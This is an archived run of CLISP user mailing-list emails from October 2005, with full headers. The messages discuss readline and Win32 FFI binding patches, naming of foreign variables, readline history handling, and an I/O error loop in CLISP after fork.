text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Oct 13 03:51:57 2005 X-Original-Date: Thu, 13 Oct 2005 13:51:38 +0300 > if termcap library move from /usr/local to / - clisp is build also I build clisp without last patch for src/configure, but with patch for src/makemake.in only And I should remove #+UNIX from src/complete.lisp Thanks! -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Thu Oct 13 05:43:07 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EQ2QJ-0005oG-KP for clisp-list@lists.sourceforge.net; Thu, 13 Oct 2005 05:43:03 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EQ2QH-0000oy-7W for clisp-list@lists.sourceforge.net; Thu, 13 Oct 2005 05:43:03 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 4YCK5BJ4; Thu, 13 Oct 2005 15:43:54 +0300 Message-ID: <434E56A4.7070805@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: Yaroslav Kavenchuk CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: readline interface References: <434E3C3A.6060100@jenty.by> In-Reply-To: <434E3C3A.6060100@jenty.by> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Oct 13 05:44:18 2005 X-Original-Date: Thu, 13 Oct 2005 15:44:20 +0300 clisp+readline+mingw For what is necessary function tgetent if it is not used anywhere? Thanks! -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Fri Oct 14 00:51:20 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EQKLX-00040z-JQ for clisp-list@lists.sourceforge.net; Fri, 14 Oct 2005 00:51:19 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EQKLV-0000Fi-AF for clisp-list@lists.sourceforge.net; Fri, 14 Oct 2005 00:51:19 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 4YCK5DDV; Fri, 14 Oct 2005 10:52:07 +0300 Message-ID: <434F63C1.1010308@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] readline interface References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Oct 14 00:51:47 2005 X-Original-Date: Fri, 14 Oct 2005 10:52:33 +0300 please, append some functions form appended patch (or me with it address to Tomas Zellerin?) Thanks! -- WBR, Yaroslav Kavenchuk. Index: modules/readline/readline.lisp =================================================================== --- readline.lisp Thu Oct 6 01:54:32 2005 +++ readline.lisp Fri Oct 14 07:14:26 2005 @@ -66,6 +66,17 @@ (:arguments (name c-string)) (:return-type readline-command)) +;;; Terminal + +(def-call-out set-screen-size (:name "rl_set_screen_size") + (:arguments (rows int) (columns int)) + (:return-type nil)) + +(def-call-out get-screen-size (:name "rl_get_screen_size") + (:arguments (rows (c-ptr int) :out :alloca) + (columns (c-ptr int) :out :alloca)) + (:return-type nil)) + ;;; Redisplay (def-call-out redisplay (:name "rl_redisplay") From Joerg-Cyril.Hoehle@t-systems.com Fri Oct 14 02:40:35 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EQM3G-0001mx-LD for clisp-list@lists.sourceforge.net; Fri, 14 Oct 2005 02:40:34 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EQM3F-0007gB-96 for clisp-list@lists.sourceforge.net; Fri, 14 Oct 2005 02:40:34 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Fri, 14 Oct 2005 11:30:56 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id <4TLPC0LT>; Fri, 14 Oct 2005 11:30:55 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03062D0B7C@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: zellerin@gmail.com Subject: [clisp-list] Re: readline interface MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Oct 14 02:41:50 2005 X-Original-Date: Fri, 14 Oct 2005 11:30:45 +0200 Sam Steingold wrote: >> A style question - why are defined variables not starred? >good question. >we do not star foreign variables, see >grep -r -i def-c-var modules/ >I don't know why, it's just they way it always has been. Foreign variables behave nowhere like special variables, why star them? If you rebind them (with LET), you loose them (symbol-macrolet is shadowed by let). If these variables are read-only, consider + using the :read-only option to def-c-var + using +foo+ around the names because their intended use is similar to that of constants. IIRC, cl-sdl or cl-gl does the latter (some default fonts are declared this way). Regards, Jorg Hohle. From zellerin@gmail.com Fri Oct 14 03:10:42 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EQMWP-0003Pg-BS for clisp-list@lists.sourceforge.net; Fri, 14 Oct 2005 03:10:41 -0700 Received: from zproxy.gmail.com ([64.233.162.197]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EQMWN-0008Fn-0c for clisp-list@lists.sourceforge.net; Fri, 14 Oct 2005 03:10:41 -0700 Received: by zproxy.gmail.com with SMTP id i11so563374nzh for ; Fri, 14 Oct 2005 03:10:34 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=heEpM6RTOwrtmjunKGpR/ag3b02Ek1hMzCd9nuXG0yD2SZFREu0lofXaev1wmxcv0jX21x7olszA7xTmFQ+z++UI/xDHjb9CBQ94WUoem7LDEgkZPbSt2g2tH+9sR79MLrQlf1ejuB+u3zWBeR9Zp80KybYVjU15s8NrRSfdlI4= Received: by 10.37.15.64 with SMTP id s64mr3481195nzi; Fri, 14 Oct 2005 03:10:34 -0700 (PDT) Received: by 10.36.222.6 with HTTP; Fri, 14 Oct 2005 03:10:34 -0700 (PDT) Message-ID: From: Tomas Zellerin To: Joerg-Cyril.Hoehle@t-systems.com, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: readline interface In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A03062D0B7C@S4DE8PSAAGS.blf.telekom.de> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <5F9130612D07074EB0A0CE7E69FD7A03062D0B7C@S4DE8PSAAGS.blf.telekom.de> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Oct 14 03:12:01 2005 X-Original-Date: Fri, 14 Oct 2005 12:10:34 +0200 > Foreign variables behave nowhere like special variables, why star them? > > If you rebind them (with LET), you loose them (symbol-macrolet is shadowe= d by let). I was confused - I thought they do, do not know why. Thanks for clarificati= on. > > If these variables are read-only, consider > + using the :read-only option to def-c-var I do that. > + using +foo+ around the names because their intended use is similar to = that of constants. This is not always the case, the value can be sometimes set by other means (e.g., a function). It would probably be cleanest to arrange it so that (setf prompt value) translates to (set-prompt value), but I did not that. Is there an idiom for that? I could probably do it by defining symbol macro, naming the set-prompt as (setf prompt) etc., but it does not seem worthy the result. But where the foreign variable really is constant, it is reasonable suggestion. OTOH, is there then any need to have it as external variable and not get the value and translate it to lisp constant, instead of keeping its address as constant? (I hope previous sentence makes sense). Since I am already writing to you, an allocation question: is there a way how to declare allocation policy for a ffi function (e.g., rl_funmap_names) that returns malloc-allocated nil-terminated array (that should be freed) of fixed strings (that must not be freed)? Regards, Tomas Zellerin From kavenchuk@jenty.by Fri Oct 14 03:53:37 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EQNBo-0005aq-8i for clisp-list@lists.sourceforge.net; Fri, 14 Oct 2005 03:53:28 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EQNBm-0004M3-OE for clisp-list@lists.sourceforge.net; Fri, 14 Oct 2005 03:53:28 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 4YCK5DQP; Fri, 14 Oct 2005 13:54:19 +0300 Message-ID: <434F8E75.8090709@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] readline initialize Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Oct 14 03:54:49 2005 X-Original-Date: Fri, 14 Oct 2005 13:54:45 +0300 clisp from CVS with readline, mingw I apply my patch for readline with rl_set_screen_size and rl_get_screen_size functions. I apply patch for win32 for GetConsoleScreenBufferInfo function (applied) I define next function: (defun reset-screen-size () (multiple-value-bind (res csbi) (WIN32:GetConsoleScreenBufferInfo (WIN32:GetStdHandle WIN32:STD_OUTPUT_HANDLE)) (when res (let* ((win (cadddr csbi)) (rows (- (cadddr win) (cadr win) -1)) (columns (- (caddr win) (car win) -1))) (when (and (plusp rows) (plusp columns)) (readline:set-screen-size rows columns) (cons rows columns)))))) and append in ~/.clisprc (let ((win (reset-screen-size))) (when win (format t "Set readline screen size to ~Ax~A~%" (cdr win) (car win)))) run clisp: $ clisp -K full --quiet ;; Loading file C:\Documents and Settings\Kavenchuk_Yaroslav\.clisprc.fas ... ;; Loading file C:\CL\lib\patches\win32\win32.fas ... ;; Loaded file C:\CL\lib\patches\win32\win32.fas ;; Loading file C:\CL\lib\patches\readline\readline.fas ... ;; Loaded file C:\CL\lib\patches\readline\readline.fas Set readline screen size to 100x35 ;; Loading file C:\CL\lib\cclan\asdf\asdf.fas ... ;; Loaded file C:\CL\lib\cclan\asdf\asdf.fas ;; Loaded file C:\Documents and Settings\Kavenchuk_Yaroslav\.clisprc.fas but after loading ~/.clisprc readline reset to default parameters: [1]> (readline:get-screen-size) 24 ; 80 (reset-screen-size) is work: [2]> (reset-screen-size) (35 . 100) [3]> (readline:get-screen-size) 35 ; 100 Why? And how bypass it? Thanks! -- WBR, Yaroslav Kavenchuk. Index: modules/bindings/win32/win32.lisp =================================================================== --- modules/bindings/win32/win32.lisp Thu Oct 6 02:03:29 2005 +++ modules/bindings/win32/win32.lisp Fri Oct 14 08:43:56 2005 @@ -196,6 +196,31 @@ (:arguments (title c-string)) (:return-type boolean)) +(def-c-type SMALL_RECT + (c-struct list + (Left short) + (Top short) + (Right short) + (Bottom short))) + +(def-c-type COORD + (c-struct list + (X short) + (Y short))) + +(def-c-type CONSOLE_SCREEN_BUFFER_INFO + (c-struct list + (dwSize COORD) + (dwCursorPosition COORD) + (wAttributes word) + (srWindow SMALL_RECT) + (dwMaximumWindowSize COORD))) + +(def-call-out GetConsoleScreenBufferInfo (:library kernel32) + (:arguments (StdHandle handle) + (csbiInfo (c-ptr CONSOLE_SCREEN_BUFFER_INFO) :out :alloca)) + (:return-type boolean)) + ;; system information (def-call-out GetSystemDirectoryA (:library kernel32) (:arguments (buffer (c-ptr (c-array-max character #.MAX_PATH)) :out :alloca) From kavenchuk@jenty.by Fri Oct 14 04:05:21 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EQNNJ-0006En-4x for clisp-list@lists.sourceforge.net; Fri, 14 Oct 2005 04:05:21 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EQNNG-0007kT-Uv for clisp-list@lists.sourceforge.net; Fri, 14 Oct 2005 04:05:21 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 4YCK5DRH; Fri, 14 Oct 2005 14:06:17 +0300 Message-ID: <434F9142.6010204@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - Subject: [clisp-list] readline question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Oct 14 04:06:16 2005 X-Original-Date: Fri, 14 Oct 2005 14:06:42 +0300 multi-line command split to separate lines after save in history (~/.clisp-history) and load from it How correct it? Thanks! -- WBR, Yaroslav Kavenchuk. From Joerg-Cyril.Hoehle@t-systems.com Fri Oct 14 06:27:14 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EQPaX-0005dS-E5 for clisp-list@lists.sourceforge.net; Fri, 14 Oct 2005 06:27:09 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EQPaV-0006iL-Tt for clisp-list@lists.sourceforge.net; Fri, 14 Oct 2005 06:27:09 -0700 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Fri, 14 Oct 2005 15:26:57 +0200 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id <4TLPBB7F>; Fri, 14 Oct 2005 15:26:57 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03062D0CA8@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: pjb@informatimago.com Subject: [clisp-list] Re: A script receiving a signal doesn't execute clea nup forms! MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Oct 14 06:27:56 2005 X-Original-Date: Fri, 14 Oct 2005 15:26:49 +0200 Hi, Pascal Bourguignon wrote: >Note: the following scrit: >produces an infinite loop: >*** - UNIX error 5 (EIO): I/O error >Clean-up! >*** - UNIX error 5 (EIO): I/O error >[1]> >*** - UNIX error 5 (EIO): I/O error >[7]> >*** - UNIX error 5 (EIO): I/O error >[9]> >*** - UNIX error 5 (EIO): I/O error >... This is exactly the thing I had with Amiga-CLISP over 10 years ago. We added the option -q back then to help a little bit. What happened was as follows: CLISP would try to write "Bye" to the closed output stream, and then try to signal an error, also to the closed output stream. A lot of error handlers would pile up, eventually leading to a stack overflow, unwind the stack and then piling up errors again trying to get the error message out. That would repeat indefinitely... Unlike typical C programs which do not care to check the success of I/O and don't care whether "^C" was written to the console, CLISP checks all I/O and wants to report errors, even at shutdown time when all is needed is to go away. My proposal, >10 years ago, to introduce a "shutdown" flag not to care about I/O errors any more, was turned down back then. I don't know what other approach could be taken. Regards, Jorg Hohle. From sds@gnu.org Fri Oct 14 07:33:12 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EQQcN-0001Wi-Qt for clisp-list@lists.sourceforge.net; Fri, 14 Oct 2005 07:33:07 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EQQcK-0001Nl-Dh for clisp-list@lists.sourceforge.net; Fri, 14 Oct 2005 07:33:07 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.184]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j9EEW8tE020521; Fri, 14 Oct 2005 10:32:15 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <434F9142.6010204@jenty.by> (Yaroslav Kavenchuk's message of "Fri, 14 Oct 2005 14:06:42 +0300") References: <434F9142.6010204@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: readline question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Oct 14 07:34:12 2005 X-Original-Date: Fri, 14 Oct 2005 10:31:02 -0400 > * Yaroslav Kavenchuk [2005-10-14 14:06:42 +0300]: > > multi-line command split to separate lines after save in history > (~/.clisp-history) and load from it > > How correct it? try removing strcat(new_line,"\n"); in rd_ch_terminal3() maybe. -- Sam Steingold (http://www.podval.org/~sds) running w2k MS Windows vs IBM OS/2: Why marketing matters more than technology... From pjb@informatimago.com Fri Oct 14 07:59:39 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EQR23-0003QY-IT for clisp-list@lists.sourceforge.net; Fri, 14 Oct 2005 07:59:39 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EQR1y-0000sZ-Am for clisp-list@lists.sourceforge.net; Fri, 14 Oct 2005 07:59:36 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 1C6D2585BE; Fri, 14 Oct 2005 16:58:54 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id F012358344; Fri, 14 Oct 2005 16:58:27 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 85ABE10F9F6; Fri, 14 Oct 2005 16:58:27 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17231.51091.296114.689410@thalassa.informatimago.com> To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net, pjb@informatimago.com Subject: Re: [clisp-list] Re: A script receiving a signal doesn't execute clea nup forms! In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A03062D0CA8@S4DE8PSAAGS.blf.telekom.de> References: <5F9130612D07074EB0A0CE7E69FD7A03062D0CA8@S4DE8PSAAGS.blf.telekom.de> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Oct 14 08:00:14 2005 X-Original-Date: Fri, 14 Oct 2005 16:58:27 +0200 Hoehle, Joerg-Cyril writes: > Hi, > > Pascal Bourguignon wrote: > >Note: the following scrit: > >produces an infinite loop: > >*** - UNIX error 5 (EIO): I/O error > >Clean-up! > >*** - UNIX error 5 (EIO): I/O error > >[1]> > >*** - UNIX error 5 (EIO): I/O error > >[7]> > >*** - UNIX error 5 (EIO): I/O error > >[9]> > >*** - UNIX error 5 (EIO): I/O error > >... > > This is exactly the thing I had with Amiga-CLISP over 10 years ago. > We added the option -q back then to help a little bit. What happened > was as follows: > > CLISP would try to write "Bye" to the closed output stream, and then > try to signal an error, also to the closed output stream. A lot of > error handlers would pile up, eventually leading to a stack > overflow, unwind the stack and then piling up errors again trying to > get the error message out. That would repeat indefinitely... > > Unlike typical C programs which do not care to check the success of > I/O and don't care whether "^C" was written to the console, CLISP > checks all I/O and wants to report errors, even at shutdown time > when all is needed is to go away. My proposal, >10 years ago, to > introduce a "shutdown" flag not to care about I/O errors any more, > was turned down back then. I don't know what other approach could be > taken. I don't know what clisp does, but in C when you call fork, you duplicate all file descriptors, and if one of the parent or children close one file descriptor, it's still open in the other process. Anyways, it seems to occur only when finish-output is called from the child. [At least, from the "terminal" (emacs shell), finish-output doesn't seem to be necessary to get the line immediately.] This infinite looping behavior occurs in other cases (closing or other mungling with streams). Perhaps the error handler could check if it's re-entering and muffle itself automatically in these cases? [pjb@thalassa tmp]$ clisp -ansi -q -norc -K full -x '(if (zerop (linux:fork)) (progn (sleep 2) (print :child) (sleep 2) (print :exiting) (ext:quit)) (progn (sleep 1) (ext:quit)))' [1]> [pjb@thalassa tmp]$ :CHILD :EXITING clisp -ansi -q -norc -K full -x '(if (not (zerop (linux:fork))) (progn (sleep 2) (print :parent) (sleep 2) (print :exiting) (ext:quit)) (progn (sleep 1) (ext:quit)))' [1]> :PARENT :EXITING [pjb@thalassa tmp]$ [pjb@thalassa tmp]$ clisp -ansi -q -norc -K full -x '(if (zerop (linux:fork)) (progn (sleep 2) (print :child) (finish-output) (sleep 2) (print :exiting) (ext:quit)) (progn (sleep 1) (ext:quit)))' [1]> [pjb@thalassa tmp]$ :CHILD *** - UNIX error 5 (EIO): I/O error [3]> *** - UNIX error 5 (EIO): I/O error [5]> *** - UNIX error 5 (EIO): I/O error [pjb@thalassa tmp]$ [pjb@thalassa tmp]$ clisp -ansi -q -norc -K full -x '(if (zerop (linux:fork)) (progn (sleep 2) (print :child) (sleep 2) (print :exiting) (finish-output) (ext:quit)) (progn (sleep 1) (ext:quit)))' [1]> [pjb@thalassa tmp]$ :CHILD :EXITING *** - UNIX error 5 (EIO): I/O error [3]> *** - UNIX error 5 (EIO): I/O error [5]> *** - UNIX error 5 (EIO): I/O error [7]> [pjb@thalassa tmp]$ [pjb@thalassa tmp]$ clisp -ansi -q -norc -K full -x '(if (not (zerop (linux:fork))) (progn (sleep 2) (print :parent) (finish-output) (sleep 2) (print :exiting) (ext:quit)) (progn (sleep 1) (ext:quit)))' [1]> :PARENT :EXITING [pjb@thalassa tmp]$ clisp -ansi -q -norc -K full -x '(if (not (zerop (linux:fork))) (progn (sleep 2) (print :parent) (sleep 2) (print :exiting) (finish-output) (ext:quit)) (progn (sleep 1) (ext:quit)))' [1]> :PARENT :EXITING [pjb@thalassa tmp]$ -- __Pascal Bourguignon__ http://www.informatimago.com/ Our enemies are innovative and resourceful, and so are we. They never stop thinking about new ways to harm our country and our people, and neither do we. -- Georges W. Bush From Joerg-Cyril.Hoehle@t-systems.com Fri Oct 14 09:11:59 2005 Received: from 